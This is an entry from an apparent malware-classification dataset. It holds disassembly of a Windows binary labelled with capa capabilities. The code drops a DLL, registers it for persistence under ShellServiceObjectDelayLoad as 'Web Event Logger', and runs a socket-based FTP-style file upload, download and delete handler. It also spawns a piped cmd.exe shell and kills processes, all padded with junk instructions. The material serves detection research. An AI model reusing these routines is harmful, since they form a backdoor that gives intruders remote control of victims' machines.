joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406a4f
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
push edi
mov esi, 0x65647ada
sub esi, 0x54ed
add dword [0x42c094], 0xaa
lea ebx, str.79ECA078_17FF_726B_E811_213280E5C831
mov eax, esi
mul esi
mov dword [ebp - 0x214], eax
mov esi, eax
call fcn.0040c770
mov edx, 0x10624dd3
push ecx
mov ecx, eax
imul edx
sar edx, 7
sar ecx, 0x1f
sub edx, ecx
mov eax, edx
pop ecx
mov edi, eax
add edi, 0x41
mov edx, edi
mov byte [ebp - 0x101], dl
mov eax, esi
add eax, esi
mov esi, eax
mov byte [ebp - 1], 1
jmp 0x406ae3
call fcn.0040c770
movzx edi, byte [ebp - 1]
mov edx, 0x10624dd3
push ecx
mov ecx, eax
imul edx
sar edx, 7
sar ecx, 0x1f
sub edx, ecx
mov eax, edx
pop ecx
mov edx, eax
add edx, 0x61
mov byte [ebp + edi - 0x101], dl
add byte [ebp - 1], 1
mov al, byte [ebp - 1]
cmp al, 8
jbe 0x406ab5
mov byte [ebp - 0xf9], 0
call fcn.0040c770
mov edx, eax
test dl, 1
jne 0x406b0b
mov byte [ebp - 0xfb], 0x33
mov byte [ebp - 0xfa], 0x32
mov eax, esi
add eax, esi
mov esi, eax
lea eax, [ebp - 0x101]
push eax
push 0x42b2e0
push str._s_s.dll
lea eax, [ebp - 0x205]
push eax
call fcn.0040c788
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x205]
push eax
call sub.KERN_CreateFileA
mov dword [ebp - 0x20c], eax
push dword [ebp + 8]
mov eax, str.abcdefghijklmno
push eax
call fcn.0040c788
mov eax, esi
add eax, esi
mov esi, eax
push 0
lea eax, [ebp - 0x210]
push eax
push 0x1c01
push 0x42ca31
push dword [ebp - 0x20c]
call sub.KERN_WriteFile
push dword [ebp - 0x20c]
call sub.KERN_CloseHandle
inc dword [0x42c094]
push ebx
push str.CLSID_sInProcServer32
lea eax, [ebp - 0x101]
push eax
call fcn.0040c788
add esi, 0x4add
lea eax, [ebp - 0x205]
push eax
push 0x42eec4
lea eax, [ebp - 0x101]
push eax
push 0x80000000
call fcn.00406c0b
inc dword [0x42c094]
push str.Apartment
push str.ThreadingModel
lea eax, [ebp - 0x101]
push eax
push 0x80000000
call fcn.00406c0b
mov eax, esi
xor eax, esi
mov esi, eax
push ebx
push str.Web_Event_Logger
push str.SoftwareMicrosoftWindowsCurrentVersionShellServiceObjectDelayLoad
push 0x80000002
call fcn.00406c0b
add esp, 0x54
pop edi
pop esi
pop ebx
leave
ret

Function at 0x406c0b
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov esi, dword [ebp + 0x14]
mov edi, 0x3670691d
add edi, 0x323f
inc dword [0x42c094]
mov eax, edi
add eax, edi
mov edi, eax
and dword [ebp - 4], 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040c698
mov eax, edi
add eax, edi
mov edi, eax
mov ecx, esi
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x406c5d
mov dword [ebp - 8], eax
push dword [ebp - 8]
push esi
push 1
push 0
push dword [ebp + 0x10]
push dword [ebp - 4]
call fcn.0040c6c8
mov eax, edi
mul edi
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov edi, eax
push dword [ebp - 4]
call fcn.0040c6a4
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406cf0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push eax
push esi
push edi
mov edi, 0x1f10110c
sub edi, 0x4c42
mov eax, edi
xor eax, edi
mov edi, eax
push 0
push pe_nt_image_headers32
push 4
push 0
push 0
push 0xc0000000
push dword [ebp + 8]
call sub.KERN_CreateFileA
mov esi, eax
cmp esi, 0xffffffff
jne 0x406d2d
xor eax, eax
jmp 0x406d65
mov eax, edi
add eax, edi
mov edi, eax
push 2
push 0
push 0
push esi
call sub.KERN_SetFilePointer
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call sub.KERN_WriteFile
push esi
call sub.KERN_CloseHandle
xor eax, eax
inc eax
jmp 0x406d65
pop edi
pop esi
leave
ret

Function at 0x406d69
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov edi, 0x4b4d5044
mov eax, edi
sub eax, edi
mov edi, eax
push 0
push pe_nt_image_headers32
push 3
push 0
push 3
push 0x80000000
push dword [ebp + 8]
call sub.KERN_CreateFileA
mov esi, eax
cmp esi, 0xffffffff
jne 0x406dba
cmp dword [ebp + 0xc], 0
je 0x406daa
mov eax, dword [ebp + 0xc]
and dword [eax], 0
mov eax, 0x72fa
mul edi
mov dword [ebp - 0xc], eax
mov edi, eax
xor eax, eax
jmp 0x406e15
push 0
push esi
call sub.KERN_GetFileSize
mov ebx, eax
add eax, 0x10
push eax
push 0x40
call sub.KERN_LocalAlloc
mov dword [ebp - 4], eax
mov eax, edi
mul edi
mov dword [ebp - 0xc], eax
mov edi, eax
push 0
cmp dword [ebp + 0xc], 0
je 0x406deb
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
jmp 0x406df1
lea eax, [ebp - 8]
mov dword [ebp - 0x10], eax
push dword [ebp - 0x10]
push ebx
push dword [ebp - 4]
push esi
call sub.KERN_ReadFile
sub edi, 0x75ae
push esi
call sub.KERN_CloseHandle
mov eax, dword [ebp - 4]
jmp 0x406e15
pop edi
pop esi
pop ebx
leave
ret

Function at 0x406e1a
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
mov edi, 0x2097191a
mov eax, edi
xor eax, edi
mov edi, eax
mov eax, 0x51a2
mul edi
mov dword [ebp - 8], eax
mov edi, eax
push 0
push pe_nt_image_headers32
push 4
push 0
push 0
push 0xc0000000
push dword [ebp + 8]
call sub.KERN_CreateFileA
mov esi, eax
cmp esi, 0xffffffff
jne 0x406e5e
xor eax, eax
jmp 0x406eb5
push 2
push 0
push 0
push esi
call sub.KERN_SetFilePointer
mov eax, edi
xor eax, edi
mov edi, eax
mov eax, dword [ebp + 0xc]
mov ecx, eax
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x406e78
mov ebx, eax
push 0
lea edx, [ebp - 4]
push edx
push ebx
push dword [ebp + 0xc]
push esi
call sub.KERN_WriteFile
push 0
lea eax, [ebp - 4]
push eax
push 2
push 0x42f234
push esi
call sub.KERN_WriteFile
push esi
call sub.KERN_CloseHandle
sub edi, 0x7f33
mov eax, 1
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407768
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, 0x59480adb
add edi, 0x63fc
cmp dword [0x42b808], 0
jne 0x4077c5
mov eax, edi
add eax, edi
mov edi, eax
mov eax, dword [ebp + 8]
mov dword [0x42b2d0], eax
push 0x3840
push 0x40
call sub.KERN_LocalAlloc
mov dword [0x42b808], eax
mov eax, edi
sub eax, edi
mov edi, eax
lea eax, [ebp - 4]
push eax
push 0
push 0x42b2d0
push 0x4079f2
push 0
push 0
call sub.KERN_CreateThread
push eax
call sub.KERN_CloseHandle
pop edi
leave
ret

Function at 0x407c98
Capabilities:
Get file attributes
Get file size
Send data
Send data on socket
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
mov edi, 0x4b422891
add edi, 0x322e
mov eax, 0x6c9d
mul edi
mov dword [ebp - 0x108], eax
mov edi, eax
mov eax, dword [ebp + 0xc]
cmp byte [eax], 0x2f
jne 0x407d01
push 1
lea eax, [ebp - 0x104]
push eax
mov eax, dword [ebp + 0xc]
inc eax
push eax
call fcn.004078e1
add esp, 0xc
mov eax, 0x45c4
mul edi
mov dword [ebp - 0x10c], eax
mov edi, eax
lea eax, [ebp - 0x104]
push eax
call sub.KERN_lstrlenA
mov byte [ebp + eax - 0x105], 0
jmp 0x407d3a
push 1
lea eax, [ebp - 0x104]
push eax
mov eax, dword [ebp + 8]
add eax, 0x1c
push eax
call fcn.004078e1
push dword [ebp + 0xc]
lea eax, [ebp - 0x104]
push eax
push str._s_s
lea eax, [ebp - 0x104]
push eax
call fcn.0040c788
add esp, 0x1c
mov eax, edi
sub eax, edi
mov edi, eax
lea eax, [ebp - 0x104]
push eax
call sub.KERN_GetFileAttributesA
mov esi, eax
mov ebx, eax
and ebx, 1
cmp ebx, 1
jne 0x407d65
mov ebx, esi
shr ebx, 1
shl ebx, 1
push ebx
lea ebx, [ebp - 0x104]
push ebx
call sub.KERN_SetFileAttributesA
push 0
push pe_nt_image_headers32
push 3
push 0
push 3
push 0x80000000
lea eax, [ebp - 0x104]
push eax
call sub.KERN_CreateFileA
mov esi, eax
mov eax, edi
add eax, edi
mov edi, eax
cmp esi, 0xffffffff
jne 0x407dba
push str.550_P_E_r_n
call sub.KERN_lstrlenA
push 0
push eax
push str.550_P_E_r_n
mov ebx, dword [ebp + 8]
push dword [ebx]
call sub.wsock32.dll_send
mov eax, edi
add eax, edi
mov edi, eax
jmp 0x407e03
push 0
push esi
call sub.KERN_GetFileSize
push eax
push str.213__i_r_n
lea ebx, [ebp - 0x104]
push ebx
call fcn.0040c788
add esp, 0xc
mov eax, edi
add eax, edi
mov edi, eax
lea eax, [ebp - 0x104]
push eax
call sub.KERN_lstrlenA
push 0
push eax
lea edi, [ebp - 0x104]
push edi
mov edi, dword [ebp + 8]
push dword [edi]
call sub.wsock32.dll_send
push esi
call sub.KERN_CloseHandle
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407e08
Capabilities:
Create directory
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push esi
push edi
mov edi, 0x42d258f0
mov eax, edi
sub eax, edi
mov edi, eax
add eax, edi
mov edi, eax
mov eax, dword [ebp + 0xc]
cmp byte [eax], 0x2f
jne 0x407e5c
push 1
lea eax, [ebp - 0x104]
push eax
mov eax, dword [ebp + 0xc]
inc eax
push eax
call fcn.004078e1
add esp, 0xc
add edi, 0x3a52
lea eax, [ebp - 0x104]
push eax
call sub.KERN_lstrlenA
mov byte [ebp + eax - 0x105], 0
jmp 0x407e95
push 1
lea eax, [ebp - 0x104]
push eax
mov eax, dword [ebp + 8]
add eax, 0x1c
push eax
call fcn.004078e1
push dword [ebp + 0xc]
lea eax, [ebp - 0x104]
push eax
push str._s_s
lea eax, [ebp - 0x104]
push eax
call fcn.0040c788
add esp, 0x1c
sub edi, 0x1b52
push 0
lea eax, [ebp - 0x104]
push eax
call sub.KERN_CreateDirectoryA
or eax, eax
je 0x407eea
lea eax, [ebp - 0x104]
push eax
push str.257___s__c_r_n
lea eax, [ebp - 0x208]
push eax
call fcn.0040c788
add esp, 0xc
mov eax, edi
add eax, edi
mov edi, eax
lea eax, [ebp - 0x208]
push eax
call sub.KERN_lstrlenA
push 0
push eax
lea esi, [ebp - 0x208]
push esi
mov esi, dword [ebp + 8]
push dword [esi]
call sub.wsock32.dll_send
jmp 0x407f06
push str.550_P_E_r_n
call sub.KERN_lstrlenA
push 0
push eax
push str.550_P_E_r_n
mov esi, dword [ebp + 8]
push dword [esi]
call sub.wsock32.dll_send
sub edi, 0x3f43
pop edi
pop esi
leave
ret

Function at 0x407f10
Capabilities:
Delete directory
Delete file
Get file attributes
Send data
Send data on socket
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push esi
push edi
mov edi, 0x743343a3
mov eax, edi
mul edi
mov dword [ebp - 0x10c], eax
mov edi, eax
push 1
lea eax, [ebp - 0x104]
push eax
mov eax, dword [ebp + 8]
add eax, 0x1c
push eax
call fcn.004078e1
mov eax, edi
xor eax, edi
mov edi, eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x104]
push eax
push str._s_s
lea eax, [ebp - 0x104]
push eax
call fcn.0040c788
add esp, 0x1c
lea eax, [ebp - 0x104]
push eax
call sub.KERN_GetFileAttributesA
mov dword [ebp - 0x108], eax
mov esi, eax
and esi, 1
cmp esi, 1
jne 0x407f94
mov esi, eax
shr esi, 1
shl esi, 1
push esi
lea esi, [ebp - 0x104]
push esi
call sub.KERN_SetFileAttributesA
cmp dword [ebp - 0x108], 0x10
jne 0x407fd1
lea eax, [ebp - 0x104]
push eax
call sub.KERN_RemoveDirectoryA
or eax, eax
je 0x408005
push str.250_DELE_r_n
call sub.KERN_lstrlenA
push 0
push eax
push str.250_DELE_r_n
mov esi, dword [ebp + 8]
push dword [esi]
call sub.wsock32.dll_send
mov eax, edi
sub eax, edi
mov edi, eax
jmp 0x408027
lea eax, [ebp - 0x104]
push eax
call sub.KERN_DeleteFileA
or eax, eax
je 0x408005
push str.250_DELE_r_n
call sub.KERN_lstrlenA
push 0
push eax
push str.250_DELE_r_n
mov esi, dword [ebp + 8]
push dword [esi]
call sub.wsock32.dll_send
mov eax, edi
add eax, edi
mov edi, eax
jmp 0x408027
push str.501_P_E_r_n
call sub.KERN_lstrlenA
push 0
push eax
push str.501_P_E_r_n
mov esi, dword [ebp + 8]
push dword [esi]
call sub.wsock32.dll_send
xor edi, 0x572a
pop edi
pop esi
leave
ret
Function at 0x40802b
Capabilities:
Download and write a file
Get file attributes
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
push edi
mov esi, 0x8455f93
mov eax, esi
sub eax, esi
mov esi, eax
add eax, esi
mov esi, eax
push 1
lea eax, [ebp - 0x10c]
push eax
mov eax, dword [ebp + 8]
add eax, 0x1c
push eax
call fcn.004078e1
mov eax, esi
mul esi
mov dword [ebp - 0x110], eax
mov esi, eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x10c]
push eax
push str._s_s
lea eax, [ebp - 0x10c]
push eax
call fcn.0040c788
add esp, 0x1c
lea eax, [ebp - 0x10c]
push eax
call sub.KERN_GetFileAttributesA
mov edi, eax
mov edx, eax
and edx, 1
cmp edx, 1
jne 0x4080b0
mov edx, edi
shr edx, 1
shl edx, 1
push edx
lea edx, [ebp - 0x10c]
push edx
call sub.KERN_SetFileAttributesA
push 0
push pe_nt_image_headers32
push 2
push 0
push 3
push 0x40000000
lea eax, [ebp - 0x10c]
push eax
call sub.KERN_CreateFileA
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x408106
push str.501_P_E_r_n
call sub.KERN_lstrlenA
push 0
push eax
push str.501_P_E_r_n
mov edx, dword [ebp + 8]
push dword [edx]
call sub.wsock32.dll_send
jmp 0x4081b2
push str.150_BINARY_p_r_n
call sub.KERN_lstrlenA
push 0
push eax
push str.150_BINARY_p_r_n
mov edx, dword [ebp + 8]
push dword [edx]
call sub.wsock32.dll_send
push 0x8000
push 0
call sub.KERN_LocalAlloc
mov ebx, eax
push 0
push 0x8000
push ebx
mov eax, dword [ebp + 8]
push dword [eax + 4]
call sub.wsock32.dll_recv
mov edi, eax
mov eax, 0x5fbd
mul esi
mov dword [ebp - 0x114], eax
mov esi, eax
or edi, edi
je 0x40815d
cmp edi, 0xffffffff
jne 0x40815f
jmp 0x408171
push 0
lea eax, [ebp - 8]
push eax
push edi
push ebx
push dword [ebp - 4]
call sub.KERN_WriteFile
jmp 0x408130
mov eax, dword [ebp + 8]
push dword [eax + 4]
call sub.wsock32.dll_closesocket
sub esi, 0x79d6
push str.226_P_ok_r_n
call sub.KERN_lstrlenA
push 0
push eax
push str.226_P_ok_r_n
mov edi, dword [ebp + 8]
push dword [edi]
call sub.wsock32.dll_send
push ebx
call sub.KERN_LocalFree
push dword [ebp - 4]
call sub.KERN_CloseHandle
xor esi, 0x7f98
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4081b7
Capabilities:
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov edi, 0x78c25467
mov eax, edi
sub eax, edi
mov edi, eax
xor eax, edi
mov edi, eax
mov eax, dword [ebp + 0xc]
cmp byte [eax], 0x2f
jne 0x40820f
push 1
lea eax, [ebp - 0x10c]
push eax
mov eax, dword [ebp + 0xc]
inc eax
push eax
call fcn.004078e1
add esp, 0xc
add edi, 0x167b
lea eax, [ebp - 0x10c]
push eax
call sub.KERN_lstrlenA
mov byte [ebp + eax - 0x10d], 0
jmp 0x40824d
push 1
lea eax, [ebp - 0x10c]
push eax
mov eax, ebx
add eax, 0x1c
push eax
call fcn.004078e1
mov eax, edi
mul edi
mov dword [ebp - 0x114], eax
mov edi, eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x10c]
push eax
push str._s_s
lea eax, [ebp - 0x10c]
push eax
call fcn.0040c788
add esp, 0x1c
push 0
push pe_nt_image_headers32
push 3
push 0
push 3
push 0x80000000
lea eax, [ebp - 0x10c]
push eax
call sub.KERN_CreateFileA
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x4082a0
push str.501_P_E_r_n
call sub.KERN_lstrlenA
push 0
push eax
push str.501_P_E_r_n
push dword [ebx]
call sub.wsock32.dll_send
mov eax, 0x1f66
mul edi
mov dword [ebp - 0x114], eax
mov edi, eax
jmp 0x408344
push str.150_BINARY_p_r_n
call sub.KERN_lstrlenA
push 0
push eax
push str.150_BINARY_p_r_n
push dword [ebx]
call sub.wsock32.dll_send
mov eax, edi
sub eax, edi
mov edi, eax
push 0x8000
push 0
call sub.KERN_LocalAlloc
mov esi, eax
push 0
lea eax, [ebp - 4]
push eax
push 0x8000
push esi
push dword [ebp - 8]
call sub.KERN_ReadFile
mov eax, edi
mul edi
mov dword [ebp - 0x114], eax
mov edi, eax
cmp dword [ebp - 4], 0
je 0x408309
push 0
push dword [ebp - 4]
push esi
push dword [ebx + 4]
call sub.wsock32.dll_send
mov eax, edi
add eax, edi
mov edi, eax
jmp 0x4082cd
push dword [ebx + 4]
call sub.wsock32.dll_closesocket
push str.226_P_ok_r_n
call sub.KERN_lstrlenA
push 0
push eax
push str.226_P_ok_r_n
push dword [ebx]
call sub.wsock32.dll_send
mov eax, edi
mul edi
mov dword [ebp - 0x114], eax
mov edi, eax
push esi
call sub.KERN_LocalFree
push dword [ebp - 8]
call sub.KERN_CloseHandle
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40861b
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
push edi
mov esi, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
mov edi, 0x9c25124
mov eax, 0x1932
mul edi
mov dword [ebp - 0x10c], eax
mov edi, eax
mov eax, 0x79a6
mul edi
mov dword [ebp - 0x110], eax
mov edi, eax
push 1
lea eax, [ebp - 0x106]
push eax
mov eax, esi
add eax, 0x1c
push eax
call fcn.004078e1
add esp, 0xc
cmp byte [ebx], 0x2e
jne 0x408707
cmp byte [ebx + 1], 0x2e
jne 0x408707
cmp byte [ebx + 2], 0
jne 0x408707
lea eax, [ebp - 0x106]
push eax
call sub.KERN_lstrlenA
cmp eax, 3
jg 0x40869c
xor eax, eax
jmp 0x4087b5
sub edi, 0x600
mov eax, esi
add eax, 0x1c
push eax
call sub.KERN_lstrlenA
mov edx, eax
mov word [ebp - 2], dx
jmp 0x4086f8
movzx eax, word [ebp - 2]
cmp byte [eax + esi + 0x1c], 0x2f
jne 0x4086f4
mov eax, edi
add eax, edi
mov edi, eax
movzx eax, word [ebp - 2]
mov byte [ebp + eax - 0x105], 0
push 0
mov eax, esi
add eax, 0x1c
push eax
lea eax, [ebp - 0x106]
push eax
call fcn.004078e1
add esp, 0xc
jmp 0x408780
dec word [ebp - 2]
movzx eax, word [ebp - 2]
or eax, eax
jg 0x4086b5
xor eax, eax
jmp 0x4087b5
cmp byte [ebx], 0x2f
jne 0x40873b
cmp byte [ebx + 1], 0
je 0x408780
mov eax, ebx
inc eax
push eax
push 0x42f1c8
lea eax, [ebp - 0x106]
push eax
call fcn.0040c788
add esp, 0xc
mov eax, 0x15db
mul edi
mov dword [ebp - 0x114], eax
mov edi, eax
jmp 0x408780
cmp byte [ebx + 1], 0x3a
jne 0x40875e
push ebx
push 0x42f1c8
lea eax, [ebp - 0x106]
push eax
call fcn.0040c788
add esp, 0xc
add edi, 0x4dda
jmp 0x408780
push ebx
lea eax, [ebp - 0x106]
push eax
push str._s_s_
lea eax, [ebp - 0x106]
push eax
call fcn.0040c788
add esp, 0x10
mov eax, edi
xor eax, edi
mov edi, eax
lea eax, [ebp - 0x106]
push eax
call sub.KERN_GetFileAttributesA
cmp eax, 0xffffffff
je 0x4087b3
push 0
mov eax, esi
add eax, 0x1c
push eax
lea eax, [ebp - 0x106]
push eax
call fcn.004078e1
add esp, 0xc
mov eax, edi
sub eax, edi
mov edi, eax
xor eax, eax
inc eax
jmp 0x4087b5
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4087ba
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov esi, dword [ebp + 8]
mov edi, 0x4690435c
mov eax, edi
add eax, edi
mov edi, eax
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov dword [esi + 4], eax
add edi, 0x6d7
push 0x10
push 0
lea eax, [ebp - 0x10]
push eax
call fcn.0040c758
add esp, 0xc
mov word [ebp - 0x10], 2
mov eax, edi
sub eax, edi
mov edi, eax
movzx eax, word [esi + 8]
push eax
call sub.wsock32.dll_htons
mov ebx, eax
mov word [ebp - 0xe], bx
mov eax, esi
add eax, 0xc
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebp - 0xc], eax
push 0x10
lea eax, [ebp - 0x10]
push eax
push dword [esi + 4]
call sub.wsock32.dll_connect
cmp eax, 0xffffffff
je 0x408870
cmp dword [ebp + 0xc], 0
jne 0x408844
push dword [ebp + 0x10]
push esi
call fcn.00408349
add esp, 8
cmp dword [ebp + 0xc], 1
jne 0x408856
push dword [ebp + 0x10]
push esi
call fcn.004081b7
add esp, 8
add edi, 0x7efe
cmp dword [ebp + 0xc], 2
jne 0x408889
push dword [ebp + 0x10]
push esi
call fcn.0040802b
add esp, 8
jmp 0x408889
push str.501_P_E_r_n
call sub.KERN_lstrlenA
push 0
push eax
push str.501_P_E_r_n
push dword [esi]
call sub.wsock32.dll_send
push dword [esi + 4]
call sub.wsock32.dll_closesocket
mov eax, edi
mul edi
mov dword [ebp - 0x14], eax
mov edi, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x408eb2
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
mov edi, 0x79014e86
mov eax, 0x640f
mul edi
mov dword [ebp - 4], eax
mov edi, eax
push dword [ebp + 8]
push 0
push 1
call sub.KERN_OpenProcess
mov esi, eax
mov eax, edi
mul edi
mov dword [ebp - 8], eax
mov edi, eax
or esi, esi
jne 0x408eea
xor eax, eax
jmp 0x408f04
push 1
push esi
call sub.KERN_TerminateProcess
mov ebx, eax
push esi
call sub.KERN_CloseHandle
mov eax, ebx
jmp 0x408f04
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4095d3
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push eax
push edi
mov edi, 0x6ed10254
sub edi, 0x2f49
lea eax, [ebp - 4]
push eax
push 0
push dword [ebp + 8]
push 0x40947e
push 0
push 0
call sub.KERN_CreateThread
push eax
call sub.KERN_CloseHandle
mov eax, 0x33bc
mul edi
mov dword [ebp - 8], eax
mov edi, eax
pop edi
leave
ret
Function at 0x409610
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Execute shell command and capture output

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
push ebx
push esi
push edi
mov esi, dword [ebp + 8]
mov edi, 0x56891493
add edi, 0x436d
mov eax, edi
sub eax, edi
mov edi, eax
add edi, 0x552a
mov dword [ebp - 0x50], 0xc
mov dword [ebp - 0x48], 1
and dword [ebp - 0x4c], 0
push 0
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x58]
push eax
mov eax, esi
add eax, 0xc
push eax
call sub.KERN_CreatePipe
mov eax, edi
sub eax, edi
mov edi, eax
push 0
lea eax, [ebp - 0x50]
push eax
mov eax, esi
add eax, 8
push eax
lea eax, [ebp - 0x54]
push eax
call sub.KERN_CreatePipe
push 0
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x5c]
push eax
mov eax, esi
add eax, 0x10
push eax
call sub.KERN_CreatePipe
push 0x44
push 0
lea eax, [ebp - 0x44]
push eax
call fcn.0040c758
add esp, 0xc
add edi, 0x1124
mov dword [ebp - 0x44], 0x44
mov eax, dword [ebp - 0x58]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 4], eax
mov eax, edi
mul edi
mov dword [ebp - 0x70], eax
mov edi, eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x18], 0x101
mov word [ebp - 0x14], 0
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x44]
push eax
push 0
push 0
push 0x20
push 1
push 0
push 0
cmp dword [0x418af0], 2
jne 0x4096f4
lea ebx, str.cmd.exe
jmp 0x4096fa
lea ebx, str.command.com
push ebx
push 0
call sub.KERN_CreateProcessA
or eax, eax
je 0x40970c
mov eax, dword [ebp - 0x6c]
mov dword [esi + 4], eax
sub edi, 0x4a7e
push dword [ebp - 0x68]
call sub.KERN_CloseHandle
push dword [ebp - 0x58]
call sub.KERN_CloseHandle
sub edi, 0x77b3
push dword [ebp - 0x54]
call sub.KERN_CloseHandle
push dword [ebp - 0x5c]
call sub.KERN_CloseHandle
cmp dword [esi + 4], 0
jne 0x409742
xor eax, eax
jmp 0x40974b
sub edi, 0x4830
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x409750
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, dword [ebp + 8]
mov edi, 0x2ed459af
mov eax, edi
sub eax, edi
mov edi, eax
push dword [esi + 8]
call sub.KERN_CloseHandle
push dword [esi + 0xc]
call sub.KERN_CloseHandle
push dword [esi + 0x10]
call sub.KERN_CloseHandle
add edi, 0x59a1
push 1
push dword [esi + 4]
call sub.KERN_TerminateProcess
push dword [esi + 4]
call sub.KERN_CloseHandle
push 0x14
push 0
push esi
call fcn.0040c758
add esp, 0xc
mov eax, edi
mul edi
mov dword [ebp - 4], eax
mov edi, eax
pop edi
pop esi
leave
ret
Function at 0x40980a
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
mov edi, 0x46ad6eb7
mov eax, edi
sub eax, edi
mov edi, eax
add edi, 0x2edd
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0x20006
push 0
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040c698
or eax, eax
je 0x40984a
xor eax, eax
jmp 0x409887
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x1c]
push 0
push dword [ebp + 0x10]
push dword [ebp - 4]
call fcn.0040c6c8
or eax, eax
je 0x409870
push dword [ebp - 4]
call fcn.0040c6a4
xor eax, eax
jmp 0x409887
mov eax, 0x7c97
mul edi
mov dword [ebp - 0xc], eax
mov edi, eax
push dword [ebp - 4]
call fcn.0040c6a4
xor eax, eax
inc eax
pop edi
leave
ret

Function at 0x40988a
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push edi
mov esi, dword [ebp + 0x14]
mov eax, dword [ebp + 0x18]
mov word [ebp + 0x18], ax
mov edi, 0x56f038b5
add edi, 0x2134
mov eax, edi
xor eax, edi
mov edi, eax
mov byte [esi], 0
mov eax, edi
mul edi
mov dword [ebp - 0x10], eax
mov edi, eax
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040c6b0
or eax, eax
je 0x4098d7
xor eax, eax
jmp 0x409910
lea eax, [ebp + 0x18]
push eax
push esi
push 0
push 0
push dword [ebp + 0x10]
push dword [ebp - 4]
call fcn.0040c6bc
or eax, eax
je 0x4098fb
push dword [ebp - 4]
call fcn.0040c6a4
xor eax, eax
jmp 0x409910
push dword [ebp - 4]
call fcn.0040c6a4
mov eax, edi
mul edi
mov dword [ebp - 0x14], eax
mov edi, eax
movzx eax, word [ebp + 0x18]
pop edi
pop esi
leave
ret